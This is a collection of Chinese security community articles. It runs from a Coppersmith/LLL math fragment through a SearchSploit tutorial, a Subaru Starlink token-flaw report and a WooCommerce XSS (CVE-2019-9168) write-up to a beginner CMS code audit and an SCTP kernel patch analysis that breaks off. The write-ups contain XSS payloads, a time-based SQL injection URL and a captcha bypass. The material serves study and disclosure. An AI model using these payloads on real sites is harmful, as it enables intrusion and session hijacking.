那么，当||b_F||<M/sqrt{d+1}，则有F(x0) = 0
###### proof
【这里不等式的第三个就用到了柯西不等式的性质】
这个定理对于确定x0的边界值$X$很重要。
之前我们找到的G(x)我们直接给出的，现在开始说这个$G(x)$该怎么去找，首先我们考虑度d条 多项式 Gi(x) = Mx^i(0 ≤i< d)
，还有一个 F(x)，显然，这里一共d+1条式子，他们的均有解 x = x0 (mod M) ，我们将他们的系数向量组合成一个矩阵
X为x0的取值上界
显然，这个矩阵的行列式为det(L)=M^d * X^ {d(d+1)/2}
然后我们利用LLL算法做一个格基规约，然后设规约后的矩阵的第一行行向量为b’，
这一点需要用到LLL的一个性质就是，
至此，我们初步的有了一个X的取值范围，但这还并未达到M^{1/d-ε}的程度。。。
##### example 2
设M=10001，多项式F(x)=x^3 + 10x^2 + 5000x – 222，【这里其实我们已经提前知道x0 = 4，所以满足x0 <
M^{1/6}】
这里我们可以计算x0的大致上界为X=10，所以我们构造格
利用LLL规约后我们可以得到第一行(the first row)为(444,10,-2000,-2000)，所以我们找到多项式G(x)=444 + x –
20x^2 – 2x^3，最后再来个牛顿迭代法求根可得x0=4
【PS：由于平台无法显示公式，所以为了美观和方便，有一部分我直接采取了截图的方式】 | 社区文章 |
## 记一次在实战靶机中使用`SearchSploit`的总结
### 什么是`SearchSploit`？
[GitHub上的漏洞数据库存储库](https://github.com/offensive-security/exploitdb)中包含
“`searchsploit`”，这是一个 **Exploit-DB** 的命令行搜索工具，它还允许您随身携带漏洞利用数据库的副本。
`SearchSploit`使您能够通过本地检出的存储库副本执行详细的离线搜索。此功能对于无法访问`Internet`的隔离或空中网络的安全评估特别有用。
许多漏洞包含指向未包含在标准存储库中的二进制文件的链接，但可以在我们的[漏洞利用数据库二进制漏洞存储库](https://github.com/offensive-security/exploitdb-bin-sploits)中找到。如果您预计在评估时
无法访问`Internet`，请确保检出两个存储库以获取最完整的数据集。
**注意：** 此实用程序的名称是 **`Search Sploit`** ，正如其名称所示，它将搜索所有漏洞和`shellcode`，
它不会包含[Google Hacking Database](https://www.exploit-db.com/google-hacking-database/)的任何结果，终端输`searchsploit`启动(已经默认在`Kali/Parrot`中安装)
### 如何安装SearchSploit
#### Linux的
**Kali Linux：**
如果您使用的是`Kali Linux`的标准GNOME版本，默认情况下已经包含“`exploitdb`”软件包！但是，
如果您使用的是`Kali Light`变体或您自己定制的`ISO`，则可以按如下方式手动安装软件包：
root @ kali：〜＃apt update && apt -y install exploitdb
#### Apple OS X / macOS
如果您安装了[自制程序](https://brew.sh/) （[包](https://github.com/Homebrew/homebrew-core/blob/master/Formula/exploitdb.rb)，[公式](https://formulae.brew.sh/formula/exploitdb)），运行以下命令将使您进行设置：
user @ MacBook：〜$ brew update && brew install exploitdb
#### Windows
对于`windows`没有简单或直接的方式来使用`searchsploit`(官方给的消息),并且建议的最佳替代方案是在虚拟机，`docker`或`Linux`子系统
`Linux`中使用`Kali Linux`。
#### Git
我们可以通过运行以下命令轻松检出`git`存储库
$ git clone https://github.com/offensive-security/exploitdb.git / opt / exploitdb
### 使SearchSploit保持最新状态
无论您如何安装`SearchSploit`，只需运行以下命令即可进行更新
$ searchsploit -u
如果您使用`Kali Linux`软件包一直未更新，您将首先需要以传统方式更新软件包：
root @ kali：〜＃apt update && apt -y full-upgrade
### 使用SearchSploit
使用“ -h ”，您可以看到可用的所有功能和选项：
#### 详细参数
root @ kali：〜＃searchsploit -h
用法：searchsploit [options] term1 [term2] ... [termN]
==========
例子
==========
searchsploit afd windows local
searchsploit -t oracle windows
searchsploit -p 39446
searchsploit linux kernel 3.2 --exclude =“（PoC）| / dos /”
searchsploit linux反向密码
有关更多示例，请参阅手册：[https：//www.exploit-db.com/searchsploit/](https：//www.exploit-db.com/searchsploit/)
=========
Options
=========
-c, --case [Term] 区分大小写(默认不区分大小写)
-e, --exact[Term] 对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].
-h, --help 显示帮助
-j, --json [Term] 以JSON格式显示结果
-m, --mirror [EDB-ID] 把一个exp拷贝到当前工作目录,参数后加目标id
-o, --overflow [Term] Exploit标题被允许溢出其列
-p, --path [EDB-ID] 显示漏洞利用的完整路径（如果可能，还将路径复制到剪贴板），后面跟漏洞ID号
-t, --title[Term] 仅仅搜索漏洞标题（默认是标题和文件的路径）
-u, --update 检查并安装任何exploitdb软件包更新（deb或git）
-w, --www [Term] 显示Exploit-DB.com的URL而不是本地路径（在线搜索）
-x, --examine [EDB-ID] 使用$ PAGER检查（副本）Exp
--colour 搜索结果不高亮显示关键词
--id 显示EDB-ID
--nmap [file.xml] 使用服务版本检查Nmap XML输出中的所有结果（例如：nmap -sV -oX file.xml）
使用“-v”（详细）来尝试更多的组合
--exclude="term" 从结果中删除值。通过使用“|”分隔多个值
例如--exclude=“term1 | term2 | term3”。
=======
笔记
=======
* 你可以使用任意数量的搜索词。
* Search terms are not case-sensitive (by default), and ordering is irrelevant.
* 搜索术语不区分大小写(默认情况下)，而排序则无关紧要。
* 如果你想用精确的匹配来过滤结果，请使用用 -e 参数
* 使用' - t '将文件的路径排除，以过滤搜索结果
* 删除误报(特别是在搜索使用数字时 - i.e. 版本).
* 当更新或显示帮助时，搜索项将被忽略。
#### 基本搜索
只需添加您想要查找的任意数量的搜索词：
root@kali:~# searchsploit afd windows local
--------------------------------------------------------------------------------------- ------------------------------------------ Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------- ------------------------------------------ Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046) | exploits/windows_x86/local/40564.c
Microsoft Windows - 'AfdJoinLeaf' Local Privilege Escalation (MS11-080) (Metasploit) | exploits/windows/local/21844.rb
Microsoft Windows - 'afd.sys' Local Kernel (PoC) (MS11-046)| exploits/windows/dos/18755.c
Microsoft Windows 7 (x64) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) | exploits/windows_x86-64/local/39525.py
Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) | exploits/windows_x86/local/39446.py
Microsoft Windows XP - 'afd.sys' Local Kernel Denial of Service| exploits/windows/dos/17133.c
Microsoft Windows XP/2003 - 'afd.sys' Local Privilege Escalation (K-plugin) (MS08-066) | exploits/windows/local/6757.txt
Microsoft Windows XP/2003 - 'afd.sys' Local Privilege Escalation (MS11-080)| exploits/windows/local/18176.py
注意:`SearchSploit`使用`AND`运算符，而不是`OR`运算符。使用的术语越多，滤除的结果越多。
**Tip** :如果你没有收到预期的结果，可以使用更通用的术语进行更广泛的搜索。如:`Kernel 2.6.25 - >Kernel 2.6 / /
Kernel 2.x。`
**Tip** :不要使用缩写如:`SQLi -> SQL Injection`。
#### 标题搜索
标题搜索只匹配标题,不会对路径中的关键词进行匹配
如:`searchsploit -t oracle windows`
root@kali:~# searchsploit -t oracle windows
--------------------------------------------------------------------------------------- ------------------------------------------ Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------- ------------------------------------------ Oracle 10g (Windows x86) - 'PROCESS_DUP_HANDLE' Local Privilege Escalation | exploits/windows_x86/local/3451.c
Oracle 9i XDB (Windows x86) - FTP PASS Overflow (Metasploit) | exploits/windows_x86/remote/16731.rb
Oracle 9i XDB (Windows x86) - FTP UNLOCK Overflow (Metasploit) | exploits/windows_x86/remote/16714.rb
Oracle 9i XDB (Windows x86) - HTTP PASS Overflow (Metasploit) | exploits/windows_x86/remote/16809.rb
Oracle MySQL (Windows) - FILE Privilege Abuse (Metasploit) | exploits/windows/remote/35777.rb
Oracle MySQL (Windows) - MOF Execution (Metasploit)| exploits/windows/remote/23179.rb
Oracle MySQL for Microsoft Windows - Payload Execution (Metasploit)| exploits/windows/remote/16957.rb
Oracle VM VirtualBox 5.0.32 r112930 (x64) - Windows Process COM Injection Privilege Esc| exploits/windows_x86-64/local/41908.txt
Oracle VirtualBox Guest Additions 5.1.18 - Unprivileged Windows User-Mode Guest Code Do| exploits/multiple/dos/41932.cpp
--------------------------------------------------------------------------------------- ------------------------------------------
#### 删除不想要的结果
使用`--exclude=`选项删除不想要的结果
如:`searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"`
root@kali:~# searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
--------------------------------------------------------------------------------------- ------------------------------------------ Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------- ------------------------------------------ Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege E| exploits/linux/local/18411.c
Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2) | exploits/linux/local/35161.c
Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init'| exploits/linux_x86-64/local/33589.c
Linux Kernel 3.2.x - 'uname()' System Call Local Information Disclosure| exploits/linux/local/37937.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10 x64) - 'CONFIG_X86_X32=y' Local Privilege| exploits/linux_x86-64/local/31347.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Arbitrary Write (2)| exploits/linux/local/31346.c
Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation| exploits/linux_x86-64/local/34134.c
--------------------------------------------------------------------------------------- ------------------------------------------
#### 利用管道输出(删除不想要的结果的另一种方法)
如:`searchsploit XnView | grep -v '/dos/'`
root@kali:~# searchsploit XnView | grep -v '/dos/'
--------------------------------------------------------------------------------------- ------------------------------------------ Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------- ------------------------------------------ XnView 1.90.3 - '.xpm' Local Buffer Overflow | exploits/windows/local/3777.c
XnView 1.92.1 - 'FontName' Slideshow Buffer Overflow | exploits/windows/local/5346.pl
XnView 1.92.1 - Command-Line Arguments Buffer Overflow | exploits/windows/remote/31405.c
XnView 1.93.6 - '.taac' Local Buffer Overflow | exploits/windows/local/5951.c
XnView 1.97.4 - '.MBM' File Remote Heap Buffer Overflow| exploits/windows/remote/34143.txt
--------------------------------------------------------------------------------------- ------------------------------------------
**Tip** :建议使用“`/ dos
/`”与`grep`而不是“`dos`”，以便过滤器应用于路径，而不是标题。虽然拒绝服务条目可能在其标题中不包含“`dos`”，
但它们在路径中仍然具有“`dos`”。根据路径删除结果还可以确保您不会无意中过滤掉在其标题中合法包含“`dos`”的结果
#### 复制到剪贴板
`-p`参数可以获取更多关于该漏洞的信息,以及将完整的路径复制到剪贴板上(如果可能的话)
如:`searchsploit -p 39446`
root@kali:~#
root@kali:~# searchsploit -p 39446
Exploit: Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040)
URL: https://www.exploit-db.com/exploits/39446/
Path: /usr/share/exploitdb/exploits/windows_x86/local/39446.py
File Type: Python script, ASCII text executable, with CRLF line terminators
#### 复制到文件夹
不建议在本地的漏洞数据库中修改`exp`,建议使用`-m`参数复制那些有用的到当前的工作目录
如:`searchsploit -m 39446 win_x86-64/local/39525.py`
root@kali:~# searchsploit -m 39446 win_x86-64/local/39525.py
Exploit: Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040)
URL: https://www.exploit-db.com/exploits/39446/
Path: /usr/share/exploitdb/exploits/windows_x86/local/39446.py
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /root/39446.py
#### 联网搜索
一些开发的元数据没有保存在本地，如果要访问他们，需要联网搜索
如:`searchsploit WarFTP 1.65 -w`
root@kali:~# searchsploit WarFTP 1.65 -w
--------------------------------------------------------------------------------------- ------------------------------------------ Exploit Title | URL
--------------------------------------------------------------------------------------- ------------------------------------------ WarFTP 1.65 (Windows 2000 SP4) - 'USER' Remote Buffer Overflow (Perl) | https://www.exploit-db.com/exploits/3482/
WarFTP 1.65 (Windows 2000 SP4) - 'USER' Remote Buffer Overflow (Python)| https://www.exploit-db.com/exploits/3474/
WarFTP 1.65 - 'USER' Remote Buffer Overflow| https://www.exploit-db.com/exploits/3570/
--------------------------------------------------------------------------------------- ------------------------------------------
参考资料：SearchSploit - 手册：<https://www.exploit-db.com/searchsploit/#installgit> | 社区文章 |
# 【技术分享】斯巴鲁汽车软件漏洞分析—永不失效的令牌
|
##### 译文声明
本文是翻译文章，文章来源：360智能网联汽车安全实验室
译文仅供参考，具体内容表达以及含义原文为准。
图一： 斯巴鲁WRX STI
不久前，一位来自California的汽车信息安全研究员Aaron Guzman，在澳大利亚举行的计算机安全会议上介绍了一种黑入斯巴鲁汽车的方法。他在自己的
**2017款斯巴鲁WRX STI** 中发现了数量惊人的软件漏洞，通过这些高危的漏洞，未经授权的攻击者可以 **自由执行解锁/锁闭车门** 、
**鸣笛** 、 **获取车辆位置记录信息** 等一系列可怕的操作。
Guzman专注于iOS、Android移动应用程序和Web应用程序如何与斯巴鲁的Starlink服务器进行通信。他一共发现了八个漏洞，通过分析发现，当利用这几个漏洞组合使用时，他可以将其他用户也添加到Starlink帐户，从而利用斯巴鲁的移动应用获得汽车的远程控制权。
Starlink系统使用AT＆T的4G LTE网络以及Sirius
XM汽车互联服务，具有失窃车辆找回、自动碰撞通知、远程服务（包括通过智能终端遥控启动/关闭）及每月车辆诊断报告等功能，值得庆幸的是，Starlink并不能控制制动或加速等动力模块。Starlink还可以与车载主机系统无缝连接，让用户体验多媒体娱乐应用程序，如Pandora电台、iHeartRadio和Aha集成系统等。
图二：斯巴鲁Starlink系统
Guzman发现斯巴鲁的移动应用程序使用随机生成的认证令牌，以便在有用户认证后允许访问，通常来说客户端与服务端采用这样的认证方式是很正常的，根据良好的Web应用安全实践，令牌应在短时间内过期或失效，以防止重用。然而问题是，Starlink允许用户利用令牌永久登录斯巴鲁，也就是说令牌一旦生成，永远不会失效。据
Guzman透露，令牌通过一个URL发送，并且被存放在未被加密的数据库中。
图三：攻击流程分析
Guzman发现他可以使用该令牌制作远程服务请求，并通过网络发送。斯巴鲁的服务器认为令牌足以确认请求是从授权用户来的，将执行该命令。斯巴鲁服务端不会检查请求是从哪儿或由谁发送的，无论是通过iOS、Android还是其它终端设备，就像要打开一把锁，不管钥匙的所有者是谁，只要有钥匙，就可以开锁。因此，Guzman采取了一个更为冒险的攻击方式，入侵其他用户的邮箱获取个人信息，然后利用这些信息进行注册，斯巴鲁官方会回复邮件确认新用户的注册成功，这些都是在斯巴鲁汽车车主不知情的情况下完成的。
图四：利用漏洞进行攻击
那么攻击是如何展开的呢？有先决条件：攻击者必须知道斯巴鲁用户安装了2017年或更旧版本的Starlink。
Guzman对斯巴鲁进行攻击的关键是捕获生成的令牌，并且有各种各样的方法来实现。
图五：利用XSS捕获令牌
一种方法是利用Guzman发现的跨站脚本（也称为XSS）漏洞，它是常见的Web应用程序开发漏洞之一。我们知道，用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时，通常会点击其中的链接。攻击者通过在链接中插入恶意代码，就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码，以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面，而这个页面看起来就像是那个网站应当生成的合法页面一样，如果用户点开了这个链接，恶意脚本就会执行，窃取用户的信息和数据。为了证明风险，Guzman开发了可以抓取令牌的XSS有效数据负载，要求斯巴鲁车主采取一些行为，例如上面提到的诱导用户点击恶意链接等。
另外，攻击者也可以在受害者使用的同一个网络上执行中间人攻击，也即在斯巴鲁用户APP和斯巴鲁官方服务器的通信链路上，攻击者通过拦截和嗅探正常的通信数据，进行分析，从而窃取令牌，或以其它方式（如DNS欺骗等）欺骗受害者交出令牌的副本。做完这些之后，身处数百公里之外的攻击者就能和车主一样，访问斯巴鲁的软件系统并进行针对性的攻击。
下面我们来梳理一下Guzman的攻击过程:试想一下，怎样才能进入一个已经上锁的房间(管理者在房间内部)呢?并且这把门锁只有两种打开方式：
a. 输入了这把锁上注册的用户名和密码，能打开；
b. 用房间管理者提供的钥匙打开。
其实我们可以采取这样的方式：
a. 当第一次使用用户名和密码打开了这把锁后，进入房间，找到房间管理者，让他提供一把钥匙；
b. 那以后每次需要进入这个房间，就用这把钥匙就行了，不用担心旁边有人偷看到自己的用户名和密码。
事实上斯巴鲁的服务器就相当于这个房间，而就相当于管理者提供的钥匙，正常情况下，每进入一次房间，管理者都会更换一次钥匙，也即服务器更换一次令牌，并且随着时间的推移令牌会失效。然而，斯巴鲁服务器提供的令牌永远都不会失效，换句话说，一旦攻击者拿到这把“钥匙”，就可以无限次地进入“房间”，并且不会被“房间”管理者察觉。
**
**
**安全防护建议**
a.
鉴于斯巴鲁用户第一次登录后令牌可是明文保存的，令牌保存时附上一个超时时间expire。比如设置4800秒后登陆无效，则登陆成功时服务端将令牌和有效时间time()+4800这两个参数发送给客户端。这样只需要检查当前时间是否大于expire就能判断登陆是否还有效，不需要手动删除；
b. 同时服务端登陆成功时设置一个有过期时间的session，这样可以通过session是否存在来决定用户的登陆信息是否还有效；
c. 当用户退出登录时，需要通过调用相关程序，让斯巴鲁服务器把这个用户对应的的令牌失效或删除；
d. 斯巴鲁的身份验证过程是依赖于令牌的，如果用户泄漏了自己的URL,
那很大程度上令牌也被别人泄漏了，就相当于钥匙被人复制了一份，所以可采用URL签名机制，防止令牌在通信过程中被窃取。
记得斯巴鲁的广告词是这样说的：“品位，由水平决定”。显然，在汽车迅速智能化、网联化的今天，斯巴鲁在汽车信息安全方面还任重道远，这也给各大汽车制造厂商敲响了警钟：没有绝对安全的汽车，也没有绝对安全的服务端平台，只有不断地创新与升级，才能为汽车安全提供更加可靠的保障。汽车与黑客之间的较量才刚刚开始，汽车厂商们，请戴上白手套、跨上战马，准备接招亮剑吧！
（文章解释权归360智能网联汽车安全实验室所有，未经授权，不得转载！）
**参考文献**
1．[https://translate.google.com.hk/translate?act=url&hl=zh-CN&ie=UTF8&prev=_t&sl=en&tl=zh-CN&u=http://www.databreachtoday.com/exclusive-vulnerabilities-could-unlock-brand-new-subarus-a-9970](https://translate.google.com.hk/translate?act=url&hl=zh-CN&ie=UTF8&prev=_t&sl=en&tl=zh-CN&u=http://www.databreachtoday.com/exclusive-vulnerabilities-could-unlock-brand-new-subarus-a-9970)
2\.
[http://blog.csdn.net/newjueqi/article/details/44062849](http://blog.csdn.net/newjueqi/article/details/44062849)
3\. <http://www.eeworld.com.cn/qcdz/2015/0407/article_10640.html> | 社区文章 |
本文翻译自：<https://www.fortinet.com/blog/threat-research/wordpress-woocommerce-xss-vulnerability----hijacking-a-customer-.html>
* * *
# 概述
FortiGuard
Labs研究人员发现WooCommerce的一个XSS漏洞。WooCommerce是基于WordPress之上的开源电子商务平台。根据BuiltWith的统计数据，WooCommerce是排名第一的电商平台，在2018年占有22%的市场份额。
该XSS漏洞CVE编号为CVE-2019-9168，位于Photoswipe函数的放大、缩小展示中，WooCommerce在处理图片的标题和注释数据时出现问题。该漏洞允许攻击者注入任意代码到WooCommerce站点中。当受害者访问插入了攻击代码的web页面后，攻击者就可以控制受害者的浏览器、劫持当前WooCommerce会话、收集敏感信息等。
该XSS漏洞影响WooCommerce v 3.5.4及之前版本。
根据FortiGuard Lab提供的0
day预警信息，WooCommerce已经发布了软件补丁。如图1所示，WooCommerce补丁在处理标题和注释数据时进行了修改。
图1. CVE-2019-9168补丁
# 漏洞分析
为了复现该漏洞，第一步就是上传一个图片并在图片的caption域插入JS代码。在WordPress中，上传图片到低权限的账户并不需要访问WooCommerce插件，如图2所示。
图2. 上传图片
因为像admin这样高权限的账户回可以添加任意JS代码，研究人员可以使用低权限的账户插入处理过的代码`"<img src=1
onerror=prompt('1')>"`，如图3所示。
图3. 插入XSS代码
如果有低权限的用户将受感染的图片添加到产品图片或产品图集中，XSS代码就可以插入到产品页中，如图4所示。
图4. 图片插入到产品页
当受害者查看产品，并放大到产品图片时，XSS代码就会自动执行，如图5和图6所示。
图5. 产品图片放大
图6. 触发XSS漏洞
为了简化攻击过程，攻击者可以通过将这些图片的属性title和subject修改为`"<img src=1
onerror=prompt('2')>"`，如图7所示。
图7. 创建PoC
攻击者可以与站点管理员分享该图片。然后，当管理员使用该图片作为产品图片或加入到产品图集时，XSS代码就被成功插入了，如图8所示。
图8. 站点管理员使用PoC文件作为产品图片
图9. 触发XSS攻击
攻击者可以利用该漏洞来劫持当前用户会话，以控制受害者的浏览器。因为被攻击的目标是电子商务网站，攻击者可以收集用户的银行卡信息、地址等敏感数据。
# 建议
研究人员建议所有受影响的有漏洞的WooCommerce版本用户尽快升级到最新版本。 | 社区文章 |
#### **一、安装**
安装过程不再赘述，安装后打开站点如下图所示
按CMS的介绍可以用来发卡或者来采集影视进行播放
由于是新手导向，所以可能会比较详细（入门）
其中部分文件
* * *
#### **二、验证码重用**
对比session和传入的verifycode是否相等
每次失败访问后，都会进行刷新跳转，然后重新执行一次JS代码，但是由于Burp默认不解析js，所以这里存在验证码复用的漏洞
搜索此参数，发现只在verifycode.php中才存在 $_SESSION['verifycode']
生成0——9的随机4位验证码。
此外，值得一提的是，许多站点存在验证码重用漏洞所用的代码和使用方法都和本文的案例一样。
* * *
#### **三、前台不能拿shell的上传漏洞**
由于此cms默认存在的编辑器为kindetior，并且easy代码审计显示存在一个文件上传
查阅代码，发现存在可以直接上传html页面，txt等页面
更详细的可以查看 <https://www.cnblogs.com/backlion/p/10421405.html，本文不再赘述。>
* * *
#### **四、新手SQL注入采坑：**
在admin/login.php 后台登录的地方看到a_name 和 a_password 没有经过处理就带入SQL语句中
以为存在后台万能密码
尝试万能密码Payload无果 头疼ing！！
尝试sqlmap 进行测试无果 头疼ing！！！
最后看了一下easy代码审计系统里自带的MySQL监控发现对引号进行了转义
可是查看上面的代码又没有发现什么处理传参的地方，最后才在上方注意带包含了一个inc.php
inc.php的内容
我们分别进入这四个文件进行审计，最后在library.php中发现
意思大概就是没有开启魔术引号的时候会将上述传参加上addslashes，因此在这里的们的双引号自然就会被加上反斜杠了（addslashes并不是万能的防护措施，具体可以去查阅百度）
* * *
#### **五、前端SQL注入**
输入一个引号发现回显不一样，审计此文件 /vlist.php
可以的清楚的看到没有任何防护措施，而由于传参方法为数字型，因此也没有使用双引号进行包裹，直接进入sql语句进行拼接
看到没有任何防护的措施直接上Sqlmap
另外此处其实是有上了如采坑点所说的addslashes的，但是由于没有使用双引号将$c_id包裹起来，所以我们无需使用双引号进行闭合，addslashes也就没有起到作用了。
(这里手工注入的时候，不好进行判断，因为他默认c_id会等于0，这会给我们的输入造成一定的的干扰)
$result = mysql_query('select * from xtcms_vod_class where c_pid=0 order by c_id asc');
* * *
#### **六、后台SQL注入**
进入后台，随便点点，寻找与数据库交互的地方（尤其是传参数为数字型的参数，因为我们在前面已经发现字符型的参数使用双引号包裹，而存在的addslashes会阻止一切字符型SQL注入），发现在会员管理处存在id=1
id=1 and 1=2
id=1 and 1=1 一个非常明显的sql注入漏洞
进入文件中进行查看，直接进行拼接
使用sqlmap进行注入，纳尼！这么明显的注入居然不存在？？？
不过我们可以通过自己判断来确定存在一个盲注，确定当前数据库的第一个字母为k
盲注代码不再赘述，这里仅做证明
#### **全后台 delete注入**
http://192.168.49.1/cms/kkcms/admin/cms_usergroup.php?del=2%20and%20sleep(5)
而后台的代码很简单，直接引入数字型的del参数，带入数据库，整个后台的删除功能都是这样写的
存在于整个后台文件的共12个文件存在delete注入
* * *
#### **七、多处XSS漏洞**
1、随便点击一个页面，寻找存在的get请求的参数，这就是我们寻找XSS漏洞的突破点
其中已发现的存在以下同样用法的XSS
template\wapian\movie.php
template\wapian\tv.php
template\wapian\zongyi.php
template\wapian\dongman.php
2、点击某处URL发现URL存在m、cat 、page 等参数
3、我们先查看movie.php 里的内容，发现包含了三个文件
4、跟进 include('template/'.$xtcms_bdyun.'/movie.php'); 中的$xtcms_bdyun是什么
全局搜索$xtcms_bdyun 发现为数据库中system表的某个字段
5、定位代码页面在template/wapian/movie.php，存在变量m，没有发现echo输出
6、只能根据页面关键字进行二次定位
7、根据页面文字信息进行定位，终于发现了相关的echo信息
8、根进getpageHtml函数
文件在system/function.php，其实代码写的有点乱，看不大懂，但是我们发现它并没有对传参进行完整的过滤（上文SQL踩坑处的addslashes不足以过滤xss），因此也就造成了XSS漏洞
成功弹框
**此外，另外存在几处XSS，其原理也和上述XSS类似，输出点都在page点
例如:cat参数 存在XSS
area参数存在xss**
* * *
#### **八、留言板处前端+后端XSS双杀**
在我决定弹反射型XSS弹到怀疑人生的时候，我陷入了沉思，我觉得应该要弹一个存储型XSS才够，因此我苦寻良久（easy代码审计工具中没有将可能存在存储型XSS漏洞的这个点显示出来），最后终于在book.php找到了（在首页上乱点没点到）
打开页面是一个留言框
对代码进行审计发现需要我们传入的内容需要存在汉字（\x7f-\xff）
如果不存在汉字，则弹出内容不合法
（此处的验证码无法显示，我们作弊一下跳过验证码验证，将验证码字段的！=改为==）
通过正则的校验后，直接进入数据库，并且包含了template下的book.php文件
跟进此文件，发现从数据库中取出，然后直接echo，产生xss
payload: 我<img src=1 onerror=alert(/xss/)>
后台的留言板块文件为cms_book.php
同样从数据库中直接取出数据，因此造成后台存储型XSS
* * *
#### **九、第二个存储型XSS**
在youlian.php下存在可以提交友情链接申请的功能
同样是经过一个addslsashes的过滤然后传入数据库中，这同样无法阻止XSS
传入后端 友链管理处，触发存储型XS
* * *
#### **十、数据库信息泄露**
本来是要测试是否存在重装漏洞的，却发现存在一个data.sql
打开网页发现存储的是默认创建的表结构和数据库信息，这是属于一个相对严重的信息泄露漏洞
* * *
#### **十一、总结：**
* 1：新手在入门审计CMS的时候，要有思路的去寻找漏洞点，不要看到一个点觉得存在，然后就跳跃性-的转移文件审计代码，这样会导致效率很低。
* 2：在审计CMS的时候，多注意一下是否默认存在开源软件或编辑器。
* 3：seay代码审计工具里的MYSQL查询语句监控真的非常好用！
* 4：注意一些非HTML或者PHP后缀的文件，可能存在信息泄露漏洞。
* 5：审计CMS时，可以先从重装文件入手，因为这是整个CMS的开端。
* 6：一个十分寻常的XSS背后可能经过了多层跟进，代码审计的魅力就在于此。
* 7：本文比较简单，还望各位大佬多加海涵，也希望能够帮助一些刚入门代码审计的表哥们！ | 社区文章 |
## 补丁分析
补丁链接 <https://git.kernel.org/linus/ba59fb0273076637f0add4311faa990a5eec27c0>
Diffstat
-rw-r--r-- net/sctp/socket.c 4
1 files changed, 2 insertions, 2 deletions
diff --git a/net/sctp/socket.c b/net/sctp/socket.c
index f93c3cf..65d6d04 100644
--- a/net/sctp/socket.c
+++ b/net/sctp/socket.c
@@ -2027,7 +2027,7 @@ static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len)
struct sctp_endpoint *ep = sctp_sk(sk)->ep;
struct sctp_transport *transport = NULL;
struct sctp_sndrcvinfo _sinfo, *sinfo;
- struct sctp_association *asoc;
+ struct sctp_association *asoc, *tmp;
struct sctp_cmsgs cmsgs;
union sctp_addr *daddr;
bool new = false;
@@ -2053,7 +2053,7 @@ static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len)
/* SCTP_SENDALL process */
if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP)) {
- list_for_each_entry(asoc, &ep->asocs, asocs) {
+ list_for_each_entry_safe(asoc, tmp, &ep->asocs, asocs) {
err = sctp_sendmsg_check_sflags(asoc, sflags, msg,
msg_len);
if (err == 0)
结合补丁可以看出来在`sctp_sendmsg`函数中，将宏`list_for_each_entry`替换为`list_for_each_entry_safe`,这两个宏均可以遍历给定的一个列表，针对这个宏的相关定义[这篇文章](https://blog.csdn.net/richard_liujh/article/details/46325327)写得很清楚，这里只简要写一下每个宏对应的功能
list_first_entry(ptr, type, member)：获取list的第一个元素，调用list_entry(ptr->next, type, member)
list_entry(ptr, type, member)：实际调用container_of(ptr, type, member)
container_of(ptr, type, member) ：根据member的偏移，求type类型结构体的首地址ptr
这两个宏区别在哪呢？
list_for_each_entry
#define list_for_each_entry(pos, head, member) \
for (pos = list_first_entry(head, typeof(*pos), member); \ //获取链表第一个结构体元素
&pos->member != (head); \ //当前结构体是不是最后一个
pos = list_next_entry(pos, member)) //获取下一个pos结构体
list_for_each_entry_safe
#define list_for_each_entry_safe(pos, n, head, member) \
for (pos = list_first_entry(head, typeof(*pos), member), \
n = list_next_entry(pos, member); \
&pos->member != (head); \
pos = n, n = list_next_entry(n, member))
在内核源码的注释里也已经写了，list_for_each_entry_safe
不仅可以遍历给定类型的列表，还能防止删除对应的列表项，因为`list_for_each_entry_safe`每次都会提前获取next结构体指针，防止pos被删除以后，再通过pos获取可能会出发空指针解引用或其他问题。
补丁的原理应该就是这样。
## sctp协议
#### 报头
sctp包结构：由一个公共头，以及一个或几个chunk组成。
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Common Header |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Chunk #1 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ... |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Chunk #n |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
下面是我用wireshark抓的`COOKIE_ECHO_DATA`包相关信息
